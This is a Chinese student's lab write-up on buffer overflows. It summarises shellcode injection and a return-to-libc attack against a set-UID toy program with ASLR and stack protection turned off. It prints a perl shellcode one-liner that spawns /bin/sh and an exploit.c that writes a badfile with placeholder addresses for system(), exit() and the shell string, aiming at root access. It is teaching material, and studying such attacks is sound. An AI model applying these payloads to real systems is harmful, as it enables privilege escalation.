zoukankan      html  css  js  c++  java
  • 20145222黄亚奇《网络对抗》 逆向及BOF进阶实践学习总结

    20145222《网络对抗》 逆向及BOF进阶实践学习总结

    实践目的

    • 1.注入shellcode
    • 2.实现Return-to-libc攻击

    知识点学习总结

    • Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起
    • Linux中两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr,缓冲区小就就把shellcode放后边,不然就放前边。
    • Return-to-libc是缓冲区溢出的变体攻击,这种攻击不需要一个栈可以执行,甚至不需要一个shelcode,取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的lib库中的system()函数等)来实现我们的攻击。

    过程概述

    一、注入shellcode

    1.构造shellcode

    2.设置堆栈可执行,并查询堆栈是否可执行,以便shellcode在堆栈上可以执行;关闭地址随机化,避免每次执行分配的内存地址不同

    3.采取nop+shellcode+retaddr方式构造payload(x4x3x2x1将覆盖到堆栈上的返回地址的位置,需要将它改为shellcode的地址)

    1)Linux下有两种基本构造攻击buf的方法:

    //缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
    1.retaddr+nop+shellcode
    2.nop+shellcode+retaddr(我采用的是这种)

    2)在终端中输入如下:

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    4.调试确定该地址

    5:通过如下方式寻找需要输入的地址:

    6.按照anything+retaddr+nops+shellcode修改input_shellcode,运行成功

    Retuen-to-libc实验

    一、配置实验环境

    二、漏洞程序

    1.将漏洞程序保存在/tmp目录下,编译该程序,并设置SET-UID:
    2.我们还需要用到一个读取环境变量的程序:

    retlib.c代码:

    三、攻击程序

    1.把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char **argv)
    {
     char buf[40];
     FILE *badfile;
     badfile = fopen(".//badfile", "w");
    
     strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
    
     *(long *) &buf[32] =0x11111111; // "//bin//sh"
     *(long *) &buf[24] =0x22222222; // system()
     *(long *) &buf[36] =0x33333333; // exit()
     fwrite(buf, sizeof(buf), 1, badfile);
     fclose(badfile);
    }

    2.用getenvaddr程序获得BIN_SH地址:

    3.利用gdb获得system和exit地址:

    4.将找到的三个内存地址填写在exploit.c中:

    5.删除刚才调试编译的exploit程序和badfile文件,重新编译修改后的exploit.c:

    6.先运行攻击程序exploit,再运行漏洞程序retlib,攻击成功,获得了root权限:

  • 相关阅读:
    HPU 1007: 严格递增连续子段(贪心)
    Codeforces Round #224 (Div. 2) A. Ksenia and Pan Scales
    Codeforces Round #224 (Div. 2) A. Ksenia and Pan Scales
    51Nod 1058: N的阶乘的长度(斯特林公式)
    51Nod 1090: 3个数和为0
    CSU 1112: 机器人的指令
    有关刷题时的多组输入问题
    HDU 1060:Leftmost Digit
    《算法导论》— Chapter 6 堆排序
    《算法导论》— Chapter 9 中位数和顺序统计学
  • 原文地址:https://www.cnblogs.com/huangyaqi/p/6695474.html
Copyright © 2011-2022 走看看